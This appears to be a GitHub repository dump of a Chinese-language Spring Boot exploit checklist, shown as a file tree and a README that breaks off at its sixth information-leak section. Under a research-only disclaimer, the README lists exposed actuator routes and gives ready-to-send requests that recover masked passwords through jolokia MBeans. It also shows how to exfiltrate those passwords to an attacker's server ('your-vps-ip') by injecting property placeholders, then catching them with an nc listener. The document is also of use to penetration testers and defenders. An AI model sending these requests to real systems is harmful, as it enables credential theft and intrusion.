The response has been limited to 50k tokens of the smallest files in the repo. You can remove this limitation by removing the max tokens filter.
├── .gitignore
├── README.md
├── codebase
    ├── JNDIObject.java
    ├── springboot-jdbc-deserialization-rce.py
    ├── springboot-realm-jndi-rce.py
    └── springboot-xstream-rce.py
└── repository
    ├── springboot-eureka-xstream-rce
        ├── pom.xml
        ├── springboot-eureka-xstream-rce.iml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       └── controller
        │           │           └── Article.java
        │       └── resources
        │           └── application.properties
    ├── springboot-h2-database-rce
        ├── pom.xml
        ├── springboot-h2-database-rce.iml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       └── controller
        │           │           └── Article.java
        │       └── resources
        │           └── application.properties
    ├── springboot-jolokia-logback-rce
        ├── pom.xml
        ├── springboot-jolokia-logback-rce.iml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       └── controller
        │           │           └── Article.java
        │       └── resources
        │           ├── application.properties
        │           └── logback.xml
    ├── springboot-mysql-jdbc-rce
        ├── pom.xml
        ├── springboot-mysql-jdbc-rce.iml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       ├── commands
        │           │           └── ProductForm.java
        │           │       ├── controllers
        │           │           ├── HelloController.java
        │           │           └── ProductController.java
        │           │       ├── converters
        │           │           ├── ProductFormToProduct.java
        │           │           └── ProductToProductForm.java
        │           │       ├── domain
        │           │           └── Product.java
        │           │       ├── repositories
        │           │           └── ProductRepository.java
        │           │       └── services
        │           │           ├── ProductService.java
        │           │           └── ProductServiceImpl.java
        │       └── resources
        │           ├── application.properties
        │           └── templates
        │               └── product
        │                   ├── list.html
        │                   ├── productform.html
        │                   └── show.html
    ├── springboot-restart-rce
        ├── pom.xml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       └── controller
        │           │           └── Article.java
        │       └── resources
        │           └── application.properties
    ├── springboot-spel-rce
        ├── pom.xml
        ├── springboot-spel-rce.iml
        └── src
        │   └── main
        │       ├── java
        │           └── code
        │           │   └── landgrey
        │           │       ├── Application.java
        │           │       └── controller
        │           │           └── Article.java
        │       └── resources
        │           └── application.properties
    └── springcloud-snakeyaml-rce
        ├── pom.xml
        ├── springcloud-snakeyaml-rce.iml
        └── src
            └── main
                ├── java
                    └── code
                    │   └── landgrey
                    │       ├── Application.java
                    │       └── controller
                    │           └── Article.java
                └── resources
                    └── application.properties


/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | 
3 | 
4 | **/target/**
5 | **/.idea/**
6 | *.iml
7 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
   1 | # Spring Boot Vulnerability Exploit Check List
   2 | 
   3 | Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
   4 | 
   5 | 
   6 | 
   7 | ## 声明
   8 | 
   9 | > **⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责**
  10 | 
  11 | 
  12 | 
  13 | 目录
  14 | -----------------
  15 | 
  16 | * [Spring Boot Vulnerability Exploit Check List](#spring-boot-vulnerability-exploit-check-list)
  17 |    * [零:路由和版本](#零路由和版本)
  18 |       * [0x01:路由知识](#0x01路由知识)
  19 |       * [0x02:版本知识](#0x02版本知识)
  20 |          * [组件版本的相互依赖关系:](#组件版本的相互依赖关系)
  21 |          * [Spring Cloud 与 Spring Boot 版本之间的依赖关系:](#spring-cloud-与-spring-boot-版本之间的依赖关系)
  22 |          * [Spring Cloud 小版本号的后缀及含义:](#spring-cloud-小版本号的后缀及含义)
  23 |    * [一:信息泄露](#一信息泄露)
  24 |       * [0x01:路由地址及接口调用详情泄漏](#0x01路由地址及接口调用详情泄漏)
  25 |       * [0x02:配置不当而暴露的路由](#0x02配置不当而暴露的路由)
  26 |       * [0x03:获取被星号脱敏的密码的明文 (方法一)](#0x03获取被星号脱敏的密码的明文-方法一)
  27 |          * [利用条件:](#利用条件)
  28 |          * [利用方法:](#利用方法)
  29 |             * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名)
  30 |             * [步骤二: jolokia 调用相关 Mbean 获取明文](#步骤二-jolokia-调用相关-mbean-获取明文)
  31 |       * [0x04:获取被星号脱敏的密码的明文 (方法二)](#0x04获取被星号脱敏的密码的明文-方法二)
  32 |          * [利用条件:](#利用条件-1)
  33 |          * [利用方法:](#利用方法-1)
  34 |             * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-1)
  35 |             * [步骤二: 使用 nc 监听 HTTP 请求](#步骤二-使用-nc-监听-http-请求)
  36 |             * [步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性](#步骤三-设置-eurekaclientserviceurldefaultzone-属性)
  37 |             * [步骤四: 刷新配置](#步骤四-刷新配置)
  38 |             * [步骤五: 解码属性值](#步骤五-解码属性值)
  39 |       * [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05获取被星号脱敏的密码的明文-方法三)
  40 |          * [利用条件:](#利用条件-2)
  41 |          * [利用方法:](#利用方法-2)
  42 |             * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-2)
  43 |             * [步骤二: 使用 nc 监听 HTTP 请求](#步骤二-使用-nc-监听-http-请求-1)
  44 |             * [步骤三: 触发对外 http 请求](#步骤三-触发对外-http-请求)
  45 |             * [步骤四: 刷新配置](#步骤四-刷新配置-1)
  46 |       * [0x06:获取被星号脱敏的密码的明文 (方法四)](#0x06获取被星号脱敏的密码的明文-方法四)
  47 |          * [利用条件:](#利用条件-3)
  48 |          * [利用方法:](#利用方法-3)
  49 |             * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-3)
  50 |             * [步骤二: 下载 jvm heap 信息](#步骤二-下载-jvm-heap-信息)
  51 |             * [步骤三: 使用 MAT 获得 jvm heap 中的密码明文](#步骤三-使用-mat-获得-jvm-heap-中的密码明文)
  52 |    * [二:远程代码执行](#二远程代码执行)
  53 |       * [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
  54 |          * [利用条件:](#利用条件-4)
  55 |          * [利用方法:](#利用方法-4)
  56 |             * [步骤一:找到一个正常传参处](#步骤一找到一个正常传参处)
  57 |             * [步骤二:执行 SpEL 表达式](#步骤二执行-spel-表达式)
  58 |          * [漏洞原理:](#漏洞原理)
  59 |          * [漏洞分析:](#漏洞分析)
  60 |          * [漏洞环境:](#漏洞环境)
  61 |       * [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce)
  62 |          * [利用条件:](#利用条件-5)
  63 |          * [利用方法:](#利用方法-5)
  64 |             * [步骤一: 托管 yml 和 jar 文件](#步骤一-托管-yml-和-jar-文件)
  65 |             * [步骤二: 设置 spring.cloud.bootstrap.location 属性](#步骤二-设置-springcloudbootstraplocation-属性)
  66 |             * [步骤三: 刷新配置](#步骤三-刷新配置)
  67 |          * [漏洞原理:](#漏洞原理-1)
  68 |          * [漏洞分析:](#漏洞分析-1)
  69 |          * [漏洞环境:](#漏洞环境-1)
  70 |       * [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce)
  71 |          * [利用条件:](#利用条件-6)
  72 |          * [利用方法:](#利用方法-6)
  73 |             * [步骤一:架设响应恶意 XStream payload 的网站](#步骤一架设响应恶意-xstream-payload-的网站)
  74 |             * [步骤二:监听反弹 shell 的端口](#步骤二监听反弹-shell-的端口)
  75 |             * [步骤三:设置 eureka.client.serviceUrl.defaultZone 属性](#步骤三设置-eurekaclientserviceurldefaultzone-属性)
  76 |             * [步骤四:刷新配置](#步骤四刷新配置)
  77 |          * [漏洞原理:](#漏洞原理-2)
  78 |          * [漏洞分析:](#漏洞分析-2)
  79 |          * [漏洞环境:](#漏洞环境-2)
  80 |       * [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce)
  81 |          * [利用条件:](#利用条件-7)
  82 |          * [利用方法:](#利用方法-7)
  83 |             * [步骤一:查看已存在的 MBeans](#步骤一查看已存在的-mbeans)
  84 |             * [步骤二:托管 xml 文件](#步骤二托管-xml-文件)
  85 |             * [步骤三:准备要执行的 Java 代码](#步骤三准备要执行的-java-代码)
  86 |             * [步骤四:架设恶意 ldap 服务](#步骤四架设恶意-ldap-服务)
  87 |             * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口)
  88 |             * [步骤六:从外部 URL 地址加载日志配置文件](#步骤六从外部-url-地址加载日志配置文件)
  89 |          * [漏洞原理:](#漏洞原理-3)
  90 |          * [漏洞分析:](#漏洞分析-3)
  91 |          * [漏洞环境:](#漏洞环境-3)
  92 |       * [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce)
  93 |          * [利用条件:](#利用条件-8)
  94 |          * [利用方法:](#利用方法-8)
  95 |             * [步骤一:查看已存在的 MBeans](#步骤一查看已存在的-mbeans-1)
  96 |             * [步骤二:准备要执行的 Java 代码](#步骤二准备要执行的-java-代码)
  97 |             * [步骤三:托管 class 文件](#步骤三托管-class-文件)
  98 |             * [步骤四:架设恶意 rmi 服务](#步骤四架设恶意-rmi-服务)
  99 |             * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口-1)
 100 |             * [步骤六:发送恶意 payload](#步骤六发送恶意-payload)
 101 |          * [漏洞原理:](#漏洞原理-4)
 102 |          * [漏洞分析:](#漏洞分析-4)
 103 |          * [漏洞环境:](#漏洞环境-4)
 104 |       * [0x06:restart h2 database query RCE](#0x06restart-h2-database-query-rce)
 105 |          * [利用条件:](#利用条件-9)
 106 |          * [利用方法:](#利用方法-9)
 107 |             * [步骤一:设置 spring.datasource.hikari.connection-test-query 属性](#步骤一设置-springdatasourcehikariconnection-test-query-属性)
 108 |             * [步骤二:重启应用](#步骤二重启应用)
 109 |          * [漏洞原理:](#漏洞原理-5)
 110 |          * [漏洞分析:](#漏洞分析-5)
 111 |          * [漏洞环境:](#漏洞环境-5)
 112 |       * [0x07:h2 database console JNDI RCE](#0x07h2-database-console-jndi-rce)
 113 |          * [利用条件:](#利用条件-10)
 114 |          * [利用方法:](#利用方法-10)
 115 |             * [步骤一:访问路由获得 jsessionid](#步骤一访问路由获得-jsessionid)
 116 |             * [步骤二:准备要执行的 Java 代码](#步骤二准备要执行的-java-代码-1)
 117 |             * [步骤三:托管 class 文件](#步骤三托管-class-文件-1)
 118 |             * [步骤四:架设恶意 ldap 服务](#步骤四架设恶意-ldap-服务-1)
 119 |             * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口-2)
 120 |             * [步骤六:发包触发 JNDI 注入](#步骤六发包触发-jndi-注入)
 121 |          * [漏洞分析:](#漏洞分析-6)
 122 |          * [漏洞环境:](#漏洞环境-6)
 123 |       * [0x08:mysql jdbc deserialization RCE](#0x08mysql-jdbc-deserialization-rce)
 124 |          * [利用条件:](#利用条件-11)
 125 |          * [利用方法:](#利用方法-11)
 126 |             * [步骤一:查看环境依赖](#步骤一查看环境依赖)
 127 |             * [步骤二:架设恶意 rogue mysql server](#步骤二架设恶意-rogue-mysql-server)
 128 |             * [步骤三:设置 spring.datasource.url 属性](#步骤三设置-springdatasourceurl-属性)
 129 |             * [步骤四:刷新配置](#步骤四刷新配置-1)
 130 |             * [步骤五:触发数据库查询](#步骤五触发数据库查询)
 131 |             * [步骤六:恢复正常 jdbc url](#步骤六恢复正常-jdbc-url)
 132 |          * [漏洞原理:](#漏洞原理-6)
 133 |          * [漏洞分析:](#漏洞分析-7)
 134 |          * [漏洞环境:](#漏洞环境-7)
 135 |       * [0x09:restart logging.config logback JNDI RCE](#0x09restart-loggingconfig-logback-jndi-rce)
 136 |          * [利用条件:](#利用条件-12)
 137 |          * [利用方法:](#利用方法-12)
 138 |             * [步骤一:托管 xml 文件](#步骤一托管-xml-文件)
 139 |             * [步骤二:托管恶意 ldap 服务及代码](#步骤二托管恶意-ldap-服务及代码)
 140 |             * [步骤三:设置 logging.config 属性](#步骤三设置-loggingconfig-属性)
 141 |             * [步骤四:重启应用](#步骤四重启应用)
 142 |          * [漏洞原理:](#漏洞原理-7)
 143 |          * [漏洞分析:](#漏洞分析-8)
 144 |          * [漏洞环境:](#漏洞环境-8)
 145 |       * [0x0A:restart logging.config groovy RCE](#0x0arestart-loggingconfig-groovy-rce)
 146 |          * [利用条件:](#利用条件-13)
 147 |          * [利用方法:](#利用方法-13)
 148 |             * [步骤一:托管 groovy 文件](#步骤一托管-groovy-文件)
 149 |             * [步骤二:设置 logging.config 属性](#步骤二设置-loggingconfig-属性)
 150 |             * [步骤三:重启应用](#步骤三重启应用)
 151 |          * [漏洞原理:](#漏洞原理-8)
 152 |          * [漏洞环境:](#漏洞环境-9)
 153 |       * [0x0B:restart spring.main.sources groovy RCE](#0x0brestart-springmainsources-groovy-rce)
 154 |          * [利用条件:](#利用条件-14)
 155 |          * [利用方法:](#利用方法-14)
 156 |             * [步骤一:托管 groovy 文件](#步骤一托管-groovy-文件-1)
 157 |             * [步骤二:设置 spring.main.sources 属性](#步骤二设置-springmainsources-属性)
 158 |             * [步骤三:重启应用](#步骤三重启应用-1)
 159 |          * [漏洞原理:](#漏洞原理-9)
 160 |          * [漏洞环境:](#漏洞环境-10)
 161 |       * [0x0C:restart spring.datasource.data h2 database RCE](#0x0crestart-springdatasourcedata-h2-database-rce)
 162 |          * [利用条件:](#利用条件-15)
 163 |          * [利用方法:](#利用方法-15)
 164 |             * [步骤一:托管 sql 文件](#步骤一托管-sql-文件)
 165 |             * [步骤二:设置 spring.datasource.data 属性](#步骤二设置-springdatasourcedata-属性)
 166 |             * [步骤三:重启应用](#步骤三重启应用-2)
 167 |          * [漏洞原理:](#漏洞原理-10)
 168 |          * [漏洞环境:](#漏洞环境-11)
 169 | 
 170 | 
 171 | 
 172 | ## 零:路由和版本
 173 | 
 174 | ### 0x01:路由知识
 175 | 
 176 | - 有些程序员会自定义 `/manage`、`/management` 、**项目 App 相关名称**为 spring 根路径
 177 | - Spring Boot Actuator 1.x 版本默认内置路由的起始路径为  `/` ,2.x 版本则统一以 `/actuator` 为起始路径
 178 | - Spring Boot Actuator 默认的内置路由名字,如 `/env` 有时候也会被程序员修改,比如修改成 `/appenv`
 179 | 
 180 | 
 181 | 
 182 | ### 0x02:版本知识
 183 | 
 184 | > Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
 185 | 
 186 | 
 187 | 
 188 | #### 组件版本的相互依赖关系:
 189 | 
 190 | | 依赖项                     | 版本列表及依赖组件版本                                       |
 191 | | -------------------------- | ------------------------------------------------------------ |
 192 | | spring-boot-starter-parent | [spring-boot-starter-parent](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent) |
 193 | | spring-boot-dependencies   | [spring-boot-dependencies](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-dependencies) |
 194 | | spring-cloud-dependencies  | [spring-cloud-dependencies](https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies) |
 195 | 
 196 | 
 197 | 
 198 | #### Spring Cloud 与 Spring Boot 版本之间的依赖关系:
 199 | 
 200 | | Spring Cloud 大版本 | Spring Boot 版本                     |
 201 | | ------------------- | ------------------------------------ |
 202 | | Angel               | 兼容 Spring Boot 1.2.x               |
 203 | | Brixton             | 兼容 Spring Boot 1.3.x、1.4.x        |
 204 | | Camden              | 兼容 Spring Boot 1.4.x、1.5.x        |
 205 | | Dalston             | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
 206 | | Edgware             | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
 207 | | Finchley            | 兼容 Spring Boot 2.0.x,不兼容 1.5.x |
 208 | | Greenwich           | 兼容 Spring Boot 2.1.x               |
 209 | | Hoxton              | 兼容 Spring Boot 2.2.x               |
 210 | 
 211 | 
 212 | 
 213 | #### Spring Cloud 小版本号的后缀及含义:
 214 | 
 215 | | 小版本号后缀   | 含义                                    |
 216 | | -------------- | --------------------------------------- |
 217 | | BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中      |
 218 | | MX             | 里程碑版                                |
 219 | | RCX            | 候选发布版                              |
 220 | | RELEASE        | 正式发布版                              |
 221 | | SRX            | (修复错误和 bug 并再次发布的)正式发布版 |
 222 | 
 223 | 
 224 | 
 225 | ## 一:信息泄露
 226 | 
 227 | ### 0x01:路由地址及接口调用详情泄漏
 228 | 
 229 | > 开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
 230 | >
 231 | 
 232 | 
 233 | 
 234 | 直接访问以下两个 swagger 相关路由,验证漏洞是否存在:
 235 | 
 236 | ```
 237 | /v2/api-docs
 238 | /swagger-ui.html
 239 | ```
 240 | 
 241 | 
 242 | 
 243 | 其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:
 244 | 
 245 | ```
 246 | /swagger
 247 | /api-docs
 248 | /api.html
 249 | /swagger-ui
 250 | /swagger/codes
 251 | /api/index.html
 252 | /api/v2/api-docs
 253 | /v2/swagger.json
 254 | /swagger-ui/html
 255 | /distv2/index.html
 256 | /swagger/index.html
 257 | /sw/swagger-ui.html
 258 | /api/swagger-ui.html
 259 | /static/swagger.json
 260 | /user/swagger-ui.html
 261 | /swagger-ui/index.html
 262 | /swagger-dubbo/api-docs
 263 | /template/swagger-ui.html
 264 | /swagger/static/index.html
 265 | /dubbo-provider/distv2/index.html
 266 | /spring-security-rest/api/swagger-ui.html
 267 | /spring-security-oauth-resource/swagger-ui.html
 268 | ```
 269 | 
 270 | 
 271 | 
 272 | 除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
 273 | 
 274 | ```
 275 | /mappings
 276 | /metrics
 277 | /beans
 278 | /configprops
 279 | /actuator/metrics
 280 | /actuator/mappings
 281 | /actuator/beans
 282 | /actuator/configprops
 283 | ```
 284 | 
 285 | 
 286 | 
 287 | **一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞**,但是以 "**默认安全**" 来讲,不暴露出这些信息更加安全。
 288 | 
 289 | 对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。
 290 | 
 291 | 
 292 | 
 293 | ### 0x02:配置不当而暴露的路由
 294 | 
 295 | > 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
 296 | 
 297 | 
 298 | 
 299 | 参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) 和 [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt),可能因为配置不当而暴露的默认内置路由可能会有:
 300 | 
 301 | ```
 302 | /actuator
 303 | /auditevents
 304 | /autoconfig
 305 | /beans
 306 | /caches
 307 | /conditions
 308 | /configprops
 309 | /docs
 310 | /dump
 311 | /env
 312 | /flyway
 313 | /health
 314 | /heapdump
 315 | /httptrace
 316 | /info
 317 | /intergrationgraph
 318 | /jolokia
 319 | /logfile
 320 | /loggers
 321 | /liquibase
 322 | /metrics
 323 | /mappings
 324 | /prometheus
 325 | /refresh
 326 | /scheduledtasks
 327 | /sessions
 328 | /shutdown
 329 | /trace
 330 | /threaddump
 331 | /actuator/auditevents
 332 | /actuator/beans
 333 | /actuator/health
 334 | /actuator/conditions
 335 | /actuator/configprops
 336 | /actuator/env
 337 | /actuator/info
 338 | /actuator/loggers
 339 | /actuator/heapdump
 340 | /actuator/threaddump
 341 | /actuator/metrics
 342 | /actuator/scheduledtasks
 343 | /actuator/httptrace
 344 | /actuator/mappings
 345 | /actuator/jolokia
 346 | /actuator/hystrix.stream
 347 | ```
 348 | 
 349 | 
 350 | 
 351 | 其中对寻找漏洞比较重要接口的有:
 352 | 
 353 | - `/env`、`/actuator/env`
 354 | 
 355 |   GET 请求 `/env` 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
 356 | 
 357 |   同时有一定概率可以通过 POST 请求 `/env` 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
 358 | 
 359 | - `/refresh`、`/actuator/refresh`
 360 | 
 361 |   POST 请求 `/env` 接口设置属性后,可同时配合 POST 请求 `/refresh` 接口刷新属性变量来触发相关 RCE 漏洞。
 362 | 
 363 | - `/restart`、`/actuator/restart`
 364 | 
 365 |   暴露出此接口的情况较少;可以配合 POST请求 `/env` 接口设置属性后,再 POST 请求 `/restart` 接口重启应用来触发相关 RCE 漏洞。
 366 | 
 367 | - `/jolokia`、`/actuator/jolokia`
 368 | 
 369 |   可以通过 `/jolokia/list` 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
 370 | 
 371 | - `/trace`、`/actuator/httptrace`
 372 | 
 373 |   一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
 374 | 
 375 | 
 376 | 
 377 | ### 0x03:获取被星号脱敏的密码的明文 (方法一)
 378 | 
 379 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
 380 | 
 381 | #### 利用条件:
 382 | 
 383 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
 384 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)
 385 | 
 386 | 
 387 | 
 388 | #### 利用方法:
 389 | 
 390 | ##### 步骤一: 找到想要获取的属性名
 391 | 
 392 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
 393 | 
 394 | 
 395 | 
 396 | ##### 步骤二: jolokia 调用相关 Mbean 获取明文
 397 | 
 398 | 将下面示例中的 `security.user.password` 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 `value` 键中。
 399 | 
 400 | 
 401 | 
 402 | - 调用 `org.springframework.boot` Mbean
 403 | 
 404 | > 实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
 405 | 
 406 | spring 1.x
 407 | 
 408 | ```
 409 | POST /jolokia
 410 | Content-Type: application/json
 411 | 
 412 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
 413 | ```
 414 | 
 415 | spring 2.x
 416 | 
 417 | ```
 418 | POST /actuator/jolokia
 419 | Content-Type: application/json
 420 | 
 421 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
 422 | ```
 423 | 
 424 | 
 425 | 
 426 | - 调用 `org.springframework.cloud.context.environment` Mbean
 427 | 
 428 | 
 429 | > 实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
 430 | 
 431 | spring 1.x
 432 | 
 433 | ```
 434 | POST /jolokia
 435 | Content-Type: application/json
 436 | 
 437 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
 438 | ```
 439 | 
 440 | spring 2.x
 441 | 
 442 | ```
 443 | POST /actuator/jolokia
 444 | Content-Type: application/json
 445 | 
 446 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
 447 | ```
 448 | 
 449 | 
 450 | 
 451 | - 调用其他 Mbean
 452 | 
 453 | > 目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
 454 | 
 455 | 
 456 | 
 457 | ### 0x04:获取被星号脱敏的密码的明文 (方法二)
 458 | 
 459 | #### 利用条件:
 460 | 
 461 | - 可以 GET 请求目标网站的 `/env` 
 462 | - 可以 POST 请求目标网站的 `/env` 
 463 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
 464 | - 目标使用了 `spring-cloud-starter-netflix-eureka-client` 依赖
 465 | - 目标可以请求攻击者的服务器(请求可出外网)
 466 | 
 467 | 
 468 | 
 469 | #### 利用方法:
 470 | 
 471 | ##### 步骤一: 找到想要获取的属性名
 472 | 
 473 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
 474 | 
 475 | 
 476 | 
 477 | ##### 步骤二: 使用 nc 监听 HTTP 请求
 478 | 
 479 | 在自己控制的外网服务器上监听 80 端口:
 480 | 
 481 | ```bash
 482 | nc -lvk 80
 483 | ```
 484 | 
 485 | 
 486 | 
 487 | ##### 步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性
 488 | 
 489 | 将下面 `http://value:${security.user.password}@your-vps-ip`  中的  `security.user.password` 换成自己想要获取的对应的星号 * 遮掩的属性名;
 490 | 
 491 | `your-vps-ip` 换成自己外网服务器的真实 ip 地址。
 492 | 
 493 | 
 494 | 
 495 | spring 1.x
 496 | 
 497 | ```
 498 | POST /env
 499 | Content-Type: application/x-www-form-urlencoded
 500 | 
 501 | eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
 502 | ```
 503 | 
 504 | spring 2.x
 505 | 
 506 | ```
 507 | POST /actuator/env
 508 | Content-Type: application/json
 509 | 
 510 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
 511 | ```
 512 | 
 513 | 
 514 | 
 515 | ##### 步骤四: 刷新配置
 516 | 
 517 | spring 1.x
 518 | 
 519 | ```
 520 | POST /refresh
 521 | Content-Type: application/x-www-form-urlencoded
 522 | 
 523 | ```
 524 | 
 525 | spring 2.x
 526 | 
 527 | ```
 528 | POST /actuator/refresh
 529 | Content-Type: application/json
 530 | 
 531 | ```
 532 | 
 533 | 
 534 | 
 535 | ##### 步骤五: 解码属性值
 536 | 
 537 | 正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 `Authorization` 头内容:
 538 | 
 539 | ```
 540 | Authorization: Basic dmFsdWU6MTIzNDU2
 541 | ```
 542 | 
 543 | 将其中的 `dmFsdWU6MTIzNDU2`部分使用 base64 解码,即可获得类似明文值 `value:123456`,其中的 `123456` 即是目标星号 * 脱敏前的属性值明文。
 544 | 
 545 | 
 546 | 
 547 | ### 0x05:获取被星号脱敏的密码的明文 (方法三)
 548 | 
 549 | #### 利用条件:
 550 | 
 551 | - 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求
 552 | - 目标可以请求攻击者的服务器(请求可出外网)
 553 | 
 554 | 
 555 | 
 556 | #### 利用方法:
 557 | 
 558 | > 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
 559 | 
 560 | ##### 步骤一: 找到想要获取的属性名
 561 | 
 562 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
 563 | 
 564 | 
 565 | 
 566 | ##### 步骤二: 使用 nc 监听 HTTP 请求
 567 | 
 568 | 在自己控制的外网服务器上监听 80 端口:
 569 | 
 570 | ```bash
 571 | nc -lvk 80
 572 | ```
 573 | 
 574 | 
 575 | 
 576 | ##### 步骤三: 触发对外 http 请求
 577 | 
 578 | - `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况)
 579 | 
 580 | spring 1.x
 581 | 
 582 | ```
 583 | POST /env
 584 | Content-Type: application/x-www-form-urlencoded
 585 | 
 586 | spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
 587 | ```
 588 | 
 589 | spring 2.x
 590 | 
 591 | ```
 592 | POST /actuator/env
 593 | Content-Type: application/json
 594 | 
 595 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
 596 | ```
 597 | 
 598 | 
 599 | 
 600 | - `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况)
 601 | 
 602 | spring 1.x
 603 | 
 604 | ```
 605 | POST /env
 606 | Content-Type: application/x-www-form-urlencoded
 607 | 
 608 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
 609 | ```
 610 | 
 611 | spring 2.x
 612 | 
 613 | ```
 614 | POST /actuator/env
 615 | Content-Type: application/json
 616 | 
 617 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
 618 | ```
 619 | 
 620 | 
 621 | 
 622 | ##### 步骤四: 刷新配置
 623 | 
 624 | spring 1.x
 625 | 
 626 | ```
 627 | POST /refresh
 628 | Content-Type: application/x-www-form-urlencoded
 629 | 
 630 | ```
 631 | 
 632 | spring 2.x
 633 | 
 634 | ```
 635 | POST /actuator/refresh
 636 | Content-Type: application/json
 637 | 
 638 | ```
 639 | 
 640 | ### 0x06:获取被星号脱敏的密码的明文 (方法四)
 641 | 
